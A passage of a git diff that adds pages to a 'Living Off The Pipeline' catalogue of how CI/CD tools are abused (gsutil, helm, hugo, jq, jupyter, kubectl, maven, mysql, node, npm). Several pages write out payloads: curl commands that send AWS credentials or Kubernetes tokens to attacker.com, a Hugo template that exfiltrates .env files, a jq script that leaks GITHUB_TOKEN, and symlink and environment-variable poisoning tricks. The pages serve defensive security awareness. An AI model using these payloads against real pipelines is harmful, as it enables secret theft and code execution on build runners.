reviewer to detect a malicious change in a compiled binary file like a `.jar` during a code review. + +### References + +* [Gradle Wrapper Documentation](https://docs.gradle.org/current/userguide/gradle_wrapper.html) +* [Validating the Gradle Wrapper JAR](https://docs.gradle.org/current/userguide/gradle_wrapper.html#sec:wrapper_checksum_validation) diff --git a/_tool/gsutil.md b/_tool/gsutil.md new file mode 100644 index 0000000..bc1d03c --- /dev/null +++ b/_tool/gsutil.md @@ -0,0 +1,53 @@ +--- +layout: tool +title: gsutil +parent: Living Off The Pipeline +nav_order: 37 +--- + +## Living Off The Pipeline - gsutil + +`gsutil` is the command-line tool for Google Cloud Storage. While its own configuration is secure, its `rsync` command can be abused to create a malicious state on the filesystem, making it a "Living Off The Pipeline" (LOTP) "Setup Gadget". + +### First-Order LOTP Gadget (Setup Gadget) + +`gsutil` is a **First-Order LOTP Gadget**. It does not provide a direct RCE or file write primitive, but it can be used to place a malicious symbolic link on the CI runner's filesystem, which can then be exploited by a subsequent tool. + +#### Malicious Primitive: Arbitrary Symlink Creation + +The `gsutil rsync` command is used to synchronize directories between a source and a destination. Unlike some versions of standard `rsync`, `gsutil rsync` does not follow symbolic links by default; it copies them as-is. This behavior can be abused by an attacker. + +An attacker can place a malicious symlink in a directory that is the source of a `gsutil rsync` operation. The command will then faithfully copy this symlink to the destination on the CI runner. This symlink can point to a sensitive file or directory anywhere on the runner's filesystem. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request containing a malicious symbolic link. + ```bash + # Attacker creates a symlink in their local repository + ln -s /etc/passwd sensitive-data.txt + ``` + +2. **Vulnerable Workflow:** The pipeline contains two steps: one to back up the repository to a GCS bucket, and a later step that archives a different directory. + ```yaml + - name: Back up source code to GCS + run: gsutil rsync -r . gs://my-backup-bucket/src/ + + # ... other steps ... + + - name: Archive build artifacts + # This step will be tricked by a symlink created in the first step + run: tar -czf artifacts.tar.gz build/ + ``` + Let's assume a previous step in the pipeline was tricked into creating a symlink `build/malicious-link` -> `/etc/passwd`. A more direct example is where the `gsutil rsync` itself creates the dangerous state for a later tool. + +3. **Execution (Setup):** + * The `gsutil rsync` command runs, copying the contents of the repository to the backup bucket. In doing so, it creates the `sensitive-data.txt` symlink on the runner's filesystem (if the source was the bucket) or uploads it (if the source was local). + +4. **Execution (Abuse):** + * A later command, like `tar`, is run on a directory that now contains the attacker's symlink. + * `tar` follows the symlink and includes the contents of the sensitive file (`/etc/passwd`) in its archive. + * If this archive is uploaded as a build artifact, the attacker can download it and access the exfiltrated file. + +### References + +* [gsutil rsync documentation](https://cloud.google.com/storage/docs/gsutil/commands/rsync) diff --git a/_tool/helm.md b/_tool/helm.md new file mode 100644 index 0000000..2aa7f41 --- /dev/null +++ b/_tool/helm.md @@ -0,0 +1,49 @@ +--- +layout: tool +title: helm +tags: [cli, config-file, file-write] +references: +- https://helm.sh/docs/helm/helm_dependency/ +- https://nvd.nist.gov/vuln/detail/CVE-2022-24348 +files: [Chart.yaml] +--- + +## Living Off The Pipeline - helm + +`Helm` is the package manager for Kubernetes. While it has security controls to prevent templates from accessing the local filesystem, its dependency management features can be abused through symbolic link attacks, making it a powerful "Living Off The Pipeline" (LOTP) "Setup Gadget". + +### First-Order LOTP Gadget + +`Helm` is a **First-Order LOTP Gadget**. It does not provide direct RCE, but it can be tricked into writing arbitrary files to the filesystem, which can then be used to set up a Second-Order RCE attack. + +#### Malicious Primitive: Arbitrary File Write + +The attack vector is the `helm dependency update` command. This command is used to download and unpack chart dependencies into the `charts/` directory and to update the `Chart.lock` file. + +An attacker can replace a file or directory that Helm writes to (e.g., the `charts/` directory) with a symbolic link pointing to a sensitive location on the runner's filesystem, such as `~/.bashrc`. + +When `helm dependency update` runs, it will follow this symlink and write the contents of a dependency chart to the sensitive location. If the attacker crafts the dependency chart to contain a malicious payload, they can achieve an arbitrary file write, poisoning a file that will be executed later. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request containing a malicious Helm chart. In this chart, the `charts` directory has been replaced with a symlink. + ```bash + # Attacker creates a symlink in their chart + ln -s ~/.bashrc charts + ``` + The attacker also modifies the `Chart.yaml` to include a dependency on a malicious chart they control. This malicious chart contains a file with a payload, e.g., `export RCE="pwned"`. + +2. **Vulnerable Workflow:** The pipeline contains a standard command to prepare Helm dependencies before linting or deploying. + ```yaml + - name: Update chart dependencies + run: helm dependency update ./my-malicious-chart + ``` + +3. **Execution (Setup):** + * The `helm dependency update` command is executed. + * It attempts to download the attacker's malicious dependency and unpack it into the `charts` directory. + * It follows the symlink and instead writes the malicious dependency's content (including the `export RCE="pwned"` payload) into the runner's `~/.bashrc` file. + +4. **Execution (RCE):** + * A later step in the CI/CD job, or any subsequent job on the same runner, starts a new bash shell. + * The shell sources the `~/.bashrc` file, executing the attacker's payload. \ No newline at end of file diff --git a/_tool/hugo.md b/_tool/hugo.md new file mode 100644 index 0000000..012eb3a --- /dev/null +++ b/_tool/hugo.md @@ -0,0 +1,61 @@ +--- +layout: tool +title: hugo +tags: [cli, config-file, file-read, network-access] +references: +- https://gohugo.io/hugo-modules/ +- https://gohugo.io/functions/readfile/ +- https://gohugo.io/functions/getjson/ +files: [config.toml, config.yaml, config.json] +--- + +## Living Off The Pipeline - hugo + +`Hugo` is a popular static site generator. While it is heavily sandboxed to prevent templates from executing shell commands, its powerful module and templating system can be abused to create a "Living Off The Pipeline" (LOTP) gadget for data exfiltration. + +### First-Order LOTP Gadget + +`hugo` is a **First-Order LOTP Gadget**. It does not provide RCE, but it can be tricked by a malicious module and template into reading local files and sending their contents over the network. + +#### Malicious Primitives: Arbitrary File Read + Arbitrary Network Access + +The attack vector relies on combining three features: +1. **Hugo Modules:** A project's configuration file (e.g., `config.toml`) can specify remote modules to be imported. An attacker can add their own malicious module in a pull request. +2. **`readFile` function:** Hugo's templating language allows reading files from within the project directory. +3. **`getJSON` function:** This function is intended to fetch and parse remote JSON files, but it can be used to make an arbitrary GET request to any URL. + +An attacker can create a malicious module containing a template that uses `readFile` to get the contents of a sensitive file (e.g., a `.env` file) and then uses `getJSON` to send that content to their own server. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request containing: + * A modified `config.toml` file that imports their malicious module. + ```toml + [module] + [[module.imports]] + path = "github.com/attacker/malicious-hugo-module" + ``` + * The malicious module contains a template (e.g., a shortcode) that will be rendered during the build. + ```go-template + + {{ $secret_file := ".env" }} + {{ if (fileExists $secret_file) }} + {{ $secret_content := readFile $secret_file | urlquery }} + {{ $exfil := getJSON (printf "https://attacker.com/?data=%s" $secret_content) }} + {{ end }} + ``` + +2. **Vulnerable Workflow:** The pipeline contains a completely standard command to build the Hugo site. + ```yaml + - name: Build site + run: hugo + ``` + +3. **Execution:** + * The `hugo` command is executed. + * It downloads the attacker's malicious module specified in the config file. + * During site generation, Hugo renders the attacker's shortcode. + * The `readFile` function reads the `.env` file from the repository root. + * The `getJSON` function makes a GET request to the attacker's server, with the URL-encoded contents of the `.env` file in the query string. + +This attack is dangerous because the CI/CD workflow file is benign. The malicious payload is hidden within the templating logic of a remote dependency. \ No newline at end of file diff --git a/_tool/jq.md b/_tool/jq.md new file mode 100644 index 0000000..3c47587 --- /dev/null +++ b/_tool/jq.md @@ -0,0 +1,59 @@ +--- +layout: tool +title: jq +parent: Living Off The Pipeline +nav_order: 16 +--- + +## Living Off The Pipeline - jq + +`jq` is a powerful command-line JSON processor. While it is intentionally sandboxed from the filesystem and network, its ability to read environment variables makes it a subtle but effective "Living Off The Pipeline" (LOTP) gadget for data exfiltration. + +`jq` does not have a traditional configuration file that it loads automatically. The LOTP vector is the `.jq` script file itself, which an attacker can modify in a pull request. + +### First-Order LOTP Gadget + +`jq` is a **First-Order LOTP Gadget**. It does not provide RCE or direct network access, but it can be used to exfiltrate secrets by printing them to the CI/CD logs. + +#### Malicious Primitive: Data Exfiltration via Log Output + +The `jq` language provides two key features for this attack: +1. The `env` object, which allows `jq` to read the values of environment variables. +2. The ability to print any string to standard output or standard error (e.g., via the `debug` function). + +An attacker can combine these to craft a `.jq` script that reads a secret from an environment variable and prints it. In a CI/CD context, this output is captured in the pipeline logs, which are often accessible to the attacker (e.g., the author of the pull request). + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a modified `.jq` script that is used for a legitimate purpose like validation. The script is poisoned with a data exfiltration payload. + ```jq + # scripts/validate_user.jq + + # Malicious Payload: + # This reads the GITHUB_TOKEN and prints it to stderr. + "SECRET_FOUND: \(env.GITHUB_TOKEN)" | debug + + # Legitimate validation logic can follow, so the script appears to work. + .user.role == "admin" + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to use the `jq` script for validation. + ```yaml + - name: Validate user data + run: jq -f scripts/validate_user.jq user.json + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + ``` + +3. **Execution:** + * The `jq -f ...` command is executed. + * `jq` runs the attacker's script. The `debug` function is called, which builds the string containing the value of the `GITHUB_TOKEN` environment variable. + * The string `SECRET_FOUND: ghs_...` is printed to `stderr`. + * The CI/CD platform captures this output in its logs. The attacker can then review the logs to retrieve the stolen token. + +This attack is dangerous because the CI/CD command is benign and the tool is being used for its intended purpose. The vulnerability lies in combining two non-obvious features of the `jq` language to move a secret from a secure context to an insecure one. + +### References + +* [jq Manual: `debug` function](https://stedolan.github.io/jq/manual/#debug) +* [jq Manual: `env` object](https://stedolan.github.io/jq/manual/#env) diff --git a/_tool/jupyter.md b/_tool/jupyter.md new file mode 100644 index 0000000..eba0d3a --- /dev/null +++ b/_tool/jupyter.md @@ -0,0 +1,48 @@ +--- +layout: tool +title: jupyter +parent: Living Off The Pipeline +nav_order: 31 +--- + +## Living Off The Pipeline - jupyter + +`Jupyter` Notebooks are interactive documents containing live code. When used in an automated CI/CD pipeline, the mechanism for executing these notebooks becomes a powerful "Living Off The Pipeline" (LOTP) vector. + +### First-Order LOTP Tool + +`jupyter` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) because its purpose is to execute code contained within a repository-local `.ipynb` file. + +#### Malicious Primitive: Remote Code Execution (RCE) + +A Jupyter Notebook (`.ipynb` file) is a JSON document that contains a list of "cells," some of which are executable code. A common practice in CI/CD pipelines is to run these notebooks to validate them or generate reports, using the command `jupyter nbconvert --execute`. + +This command's sole purpose is to execute every code cell in the notebook from top to bottom. An attacker can place a malicious payload in one of these cells. When the CI/CD pipeline runs the `jupyter` command, it will execute the attacker's code. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a modified Jupyter Notebook file. One of the code cells, which may be hidden among many legitimate cells, contains a malicious payload. + ```python + # In a .ipynb code cell: + import os + # Malicious payload + os.system("curl --data-binary @$HOME/.aws/credentials http://attacker.com/") + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to execute the notebook as part of its testing or validation process. + ```yaml + - name: Run and test notebook + run: jupyter nbconvert --to notebook --execute my_notebook.ipynb + ``` + +3. **Execution:** + * The `jupyter nbconvert --execute` command is executed. + * The Jupyter kernel starts and runs the code in each cell of the attacker's notebook. + * The cell containing the malicious `os.system` call is executed. + * The attacker's `curl` command runs, exfiltrating sensitive credentials from the CI runner. + +This attack is dangerous because the CI/CD workflow file contains a benign and common command. The malicious payload is hidden within a data file (`.ipynb`) that is explicitly designed to be executed. + +### References + +* [Jupyter `nbconvert` Command-Line Interface](https://nbconvert.readthedocs.io/en/latest/usage.html#command-line-interface) diff --git a/_tool/kubectl.md b/_tool/kubectl.md new file mode 100644 index 0000000..a0eb43b --- /dev/null +++ b/_tool/kubectl.md @@ -0,0 +1,78 @@ +--- +layout: tool +title: kubectl +parent: Living Off The Pipeline +nav_order: 22 +--- + +## Living Off The Pipeline - kubectl + +`kubectl` is the command-line tool for controlling Kubernetes clusters. It can be abused as a "Living Off The Pipeline" (LOTP) tool by processing a malicious `kubeconfig` file, leading to Remote Code Execution (RCE). This vector is particularly dangerous because it leverages a standard, documented, but non-obvious feature of `kubectl`'s authentication mechanism. + +### First-Order LOTP Tool + +`kubectl` is a **First-Order LOTP Tool**. It provides direct RCE by design, as its configuration file format supports executing arbitrary commands for authentication. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `kubeconfig` file, which `kubectl` uses to configure access to clusters, supports an `exec` authentication provider. This feature is intended to allow `kubectl` to call a helper utility (like a cloud provider's CLI) to retrieve temporary credentials. However, an attacker can abuse this to specify an arbitrary shell command. + +An attacker can place a malicious `kubeconfig` file in their pull request. If a CI/CD pipeline is configured to use this file (typically by setting the `KUBECONFIG` environment variable), any `kubectl` command that attempts to communicate with the cluster will trigger the attacker's payload. + +### Real-World Attack Scenario: Abusing PR Preview Deployments + +A common CI/CD pattern is to deploy a preview environment to Kubernetes for every pull request. This workflow is a prime target for the `kubectl` LOTP vector. + +1. **Attacker's PR:** An attacker submits a pull request where they have replaced a legitimate, repository-local `kubeconfig.yml` with a malicious version. + ```yaml + # malicious-kubeconfig.yml + apiVersion: v1 + kind: Config + clusters: + - name: preview-cluster + cluster: { server: "https://kubernetes.default.svc" } + contexts: + - name: preview-context + context: { cluster: preview-cluster, user: ci-user } + current-context: preview-context + users: + - name: ci-user + user: + # The 'exec' block is the weapon. + exec: + apiVersion: client.authentication.k8s.io/v1beta1 + command: sh + args: + - "-c" + # The payload exfiltrates the runner's service account token. + - "curl -d @/var/run/secrets/kubernetes.io/serviceaccount/token http://attacker.com/" + ``` + +2. **Vulnerable Workflow:** The pipeline uses a standard workflow to deploy the preview. The developer has pointed `KUBECONFIG` to the file in the repository, believing this is a secure and isolated practice. + ```yaml + # .github/workflows/preview-deploy.yml + name: Deploy PR Preview + on: [pull_request] + jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Deploy to preview namespace + env: + KUBECONFIG: ./malicious-kubeconfig.yml + run: | + kubectl apply -f ./k8s-manifests/ + ``` + +3. **Execution:** + * The `kubectl apply` command runs. + * It reads the attacker's `kubeconfig.yml` specified by the `KUBECONFIG` variable. + * To authenticate, it finds the `user.exec` block and executes the attacker's shell command. + * The `curl` command runs, stealing the high-privilege service account token from the runner before the `apply` command can even proceed. + +This attack is dangerous because the developer's intent (using a repo-local config for security) is subverted. The vulnerability is created by trusting a configuration file from an untrusted pull request. + +### References + +* [Kubernetes Docs: Exec credential provider](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#exec-credential-provider) \ No newline at end of file diff --git a/_tool/maven.md b/_tool/maven.md index 73367de..f66bdf1 100644 --- a/_tool/maven.md +++ b/_tool/maven.md @@ -1,54 +1,41 @@ --- -title: maven -tags: -- cli -- eval-sh -- env-var -- config-file -references: -- https://central.sonatype.com/artifact/org.codehaus.mojo/exec-maven-plugin -- https://maven.apache.org/configure.html#maven_opts-environment-variable -files: [pom.xml] +layout: tool +title: mvn +parent: Living Off The Pipeline +nav_order: 9 --- -## Config file - -In `pom.xml`, plugins can be added. The plugin `org.codehaus.mojo/exec-maven-plugin` can be used to run shell commands. For example, running the `env` command after the `clean` phase: - -```xml - - - [...] - - org.codehaus.mojo - exec-maven-plugin - 3.1.1 - - - run-after-clean - clean - - exec - - - sh - - -xc - env - - - - - - [...] - - -``` - -## Environment poisoning - -If the attacker has control over the environment variable, since version 3.9, **MAVEN_ARGS** can be used to inject a plugin and gain RCE. In Gitlab, the previous version of Mavan can be used with **MAVEN_CLI_OPTS**, see this [example](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml). - -```sh -export MAVEN_ARGS="org.codehaus.mojo:exec-maven-plugin:3.2.0:exec -Dexec.executable=/bin/sh" -``` +## Living Off The Pipeline - mvn (Maven) + +Apache Maven is a build automation tool for Java projects. Its build process is driven by a `pom.xml` file and can be influenced by environment variables, both of which can be manipulated by an attacker to execute arbitrary code. + +### Vector 1: `pom.xml` Plugin Execution (First-Order LOTP Tool) + +Maven's primary LOTP vector is its plugin architecture, configured via the `pom.xml` file. This makes `mvn` a **First-Order LOTP Tool**. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `pom.xml` file allows a developer to define plugins that execute at specific phases of the build lifecycle. An attacker can abuse this by adding a malicious plugin configuration to the `pom.xml` in their pull request. When a standard `mvn` command (like `mvn install`) is run, Maven will execute the attacker's plugin, leading to RCE. A common choice for this is the `exec-maven-plugin`. + +* **Attack Chain:** + 1. **Attacker's PR:** An attacker submits a pull request with a modified `pom.xml` containing a malicious plugin execution bound to an early phase like `validate`. + 2. **Vulnerable Workflow:** The pipeline runs a standard command like `mvn install`. + 3. **Execution:** Maven parses the `pom.xml`, finds the malicious plugin, and executes its payload. + +### Vector 2: Environment Variable Poisoning (Execution Gadget) + +Maven's startup script reads environment variables like `MAVEN_ARGS` to allow for command-line arguments to be set globally. This makes `mvn` a powerful **Execution Gadget** in a Second-Order attack. + +#### Malicious Primitive: Remote Code Execution (RCE) + +An attacker can use a "Setup Gadget" to write a malicious value to the `MAVEN_ARGS` environment variable. Any subsequent `mvn` command in the same job will then execute the attacker's payload. + +* **Attack Chain:** + 1. **Setup Gadget:** A tool in the pipeline is exploited to write to the environment file (e.g., `echo "MAVEN_ARGS=...malicious plugin..." >> $GITHUB_ENV`). + 2. **Execution Gadget (`mvn`):** A later step in the pipeline runs a standard `mvn install` command. The Maven process starts, reads the poisoned `MAVEN_ARGS` variable from the environment, and executes the attacker's malicious command. + +### References + +* [Maven Build Lifecycle](https://maven.apache.org/guides/introduction/introduction-to-the-lifecycle.html) +* [Exec Maven Plugin](https://www.mojohaus.org/exec-maven-plugin/) +* [Configuring Maven (`MAVEN_OPTS`)](https://maven.apache.org/configure.html) \ No newline at end of file diff --git a/_tool/mysql.md b/_tool/mysql.md new file mode 100644 index 0000000..b1071f7 --- /dev/null +++ b/_tool/mysql.md @@ -0,0 +1,55 @@ +--- +layout: tool +title: mysql +parent: Living Off The Pipeline +nav_order: 29 +--- + +## Living Off The Pipeline - mysql + +The `mysql` command-line client is a utility for interacting with MySQL databases. It can be abused as a "Living Off The Pipeline" (LOTP) tool because the SQL scripts it executes can contain commands that run arbitrary shell code. + +### First-Order LOTP Tool + +The `mysql` client is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by processing a malicious SQL script file. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `mysql` client has a `system` command (aliased as `\!`) that executes a specified command using the system's default shell. This feature is intended for interactive use, but it becomes a powerful RCE vector when the client is used to run a script in an automated CI/CD pipeline. + +An attacker can embed a `system` or `\!` command within a `.sql` file in their pull request. When a pipeline executes this script (e.g., to set up a test database), the `mysql` client will execute the attacker's payload. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a malicious SQL script file. + ```sql + -- schema.sql + -- Legitimate database setup commands + CREATE DATABASE IF NOT EXISTS test_db; + USE test_db; + CREATE TABLE users (id INT, name VARCHAR(255)); + + -- Malicious payload + \! curl --data-binary @$HOME/.aws/credentials http://attacker.com/ + + -- More legitimate commands + INSERT INTO users (id, name) VALUES (1, 'testuser'); + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to initialize a database from a schema file. + ```yaml + - name: Initialize test database + run: mysql -u root -p$MYSQL_ROOT_PASSWORD < schema.sql + ``` + +3. **Execution:** + * The `mysql` client is executed, and its standard input is redirected from the attacker's `schema.sql` file. + * The client executes the SQL commands one by one. + * When it encounters the `\! curl...` line, it executes the `curl` command in the system shell. + * The attacker's payload runs, exfiltrating sensitive credentials from the CI runner. + +This attack is dangerous because the CI/CD workflow file contains a benign and common command. The malicious payload is hidden within a data file that is being piped into the tool. + +### References + +* [MySQL Client Commands: `system`](https://dev.mysql.com/doc/refman/8.0/en/mysql-commands.html) diff --git a/_tool/node.md b/_tool/node.md new file mode 100644 index 0000000..3568b63 --- /dev/null +++ b/_tool/node.md @@ -0,0 +1,43 @@ +--- +layout: tool +title: node +tags: [cli, env-var, eval-js] +references: +- https://nodejs.org/api/cli.html#node_optionsoptions +files: [] +--- + +## Living Off The Pipeline - node + +The `node` runtime itself, independent of its package managers, can be abused as a powerful "Living Off The Pipeline" (LOTP) **Execution Gadget**. The vector is not a repository-local configuration file, but the `NODE_OPTIONS` environment variable. + +### First-Order LOTP Gadget (Execution Gadget) + +`node` is a **First-Order LOTP Gadget**. It does not initiate an attack on its own, but it can be triggered by a change made by a "Setup Gadget," leading to Remote Code Execution (RCE). + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `NODE_OPTIONS` environment variable allows for passing command-line options to the `node` executable. One of these options is `--require` (or `-r`), which preloads a specified module before any other code is run. + +An attacker can use a "Setup Gadget" to poison the `NODE_OPTIONS` variable. Any subsequent, seemingly benign `node` command in the same CI/CD job will then be forced to execute the attacker's malicious script at startup. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request containing: + * A malicious Node.js script (e.g., `pwn.js`). + * A file that a "Setup Gadget" will use to poison the environment (e.g., a malicious `.env` file). + +2. **Vulnerable Workflow:** The pipeline has two distinct steps. + ```yaml + - name: Load environment (Setup) + run: source .env # This .env file is controlled by the attacker + + - name: Run application (Execution) + run: node index.js + ``` + +3. **Execution:** + * **Setup:** The `source .env` command runs. The attacker's `.env` file contains the line `export NODE_OPTIONS="--require ./pwn.js"`, which poisons the environment for subsequent steps. + * **Execution:** The `node index.js` command runs. The `node` process starts, reads the poisoned `NODE_OPTIONS` variable, and immediately loads and executes the attacker's `pwn.js` script, achieving RCE before `index.js` is ever run. + +This makes `node` a very dangerous execution gadget, as it can turn any standard Node.js execution in a pipeline into an RCE trigger. \ No newline at end of file diff --git a/_tool/npm.md b/_tool/npm.md index 487e03c..2f312ed 100644 --- a/_tool/npm.md +++ b/_tool/npm.md @@ -1,64 +1,52 @@ --- -title: NPM -tags: - - config-file - - eval-sh - - eval-js -references: -- https://docs.npmjs.com/cli/v11/using-npm/scripts#life-cycle-operation-order -- https://docs.npmjs.com/cli/v11/configuring-npm/npmrc -- https://docs.npmjs.com/cli/v8/using-npm/config#environment-variables -files: [package.json,.npmrc] +layout: tool +title: npm +parent: Living Off The Pipeline +nav_order: 40 --- -`npm` is a package manager for javascript. +## Living Off The Pipeline - npm -## `package.json` +`npm` is the default package manager for Node.js. It has multiple, powerful "Living Off The Pipeline" (LOTP) vectors that allow an attacker to achieve Remote Code Execution (RCE). -Most of its commands will consume `package.json` `scripts` section, except for -`npm ci`. It doesn't work if `--ignore-scripts` is specified. +### Vector 1: `package.json` Scripts (First-Order LOTP Tool) -| Command | Aliases | Section | -| -- | -- | -- | -| `npm diff --diff=.`| | `prepare` | -| `npm restart`| | `prerestart`, `restart`, `postrestart` | -| `npm run-script `| `run`, `rum`, `urn` | `pre`, ``,`post` | -| `npm start`| | `prestart`, `start` or `server.js`, `poststart` | -| `npm stop`| | `prestop`, `stop`, `poststop` | -| `npm test`| `tst`, `t` | `pretest`, `test`, `posttest` | -| `npm version `| `verison` |`postversion`, `version`, `preversion` | -| `npm install`| `add`, `i`, `in`, `ins`, `inst`, `insta`, `instal`, `isnt`, `isnta`, `isntal`, `isntall` |`postversion`, `version`, `preversion` | +The most common vector for `npm` is its lifecycle scripts, defined in the `scripts` section of the `package.json` file. -`package.json`: +* **Primitive:** Remote Code Execution (RCE). +* **Mechanism:** Commands like `npm install`, `npm test`, and `npm run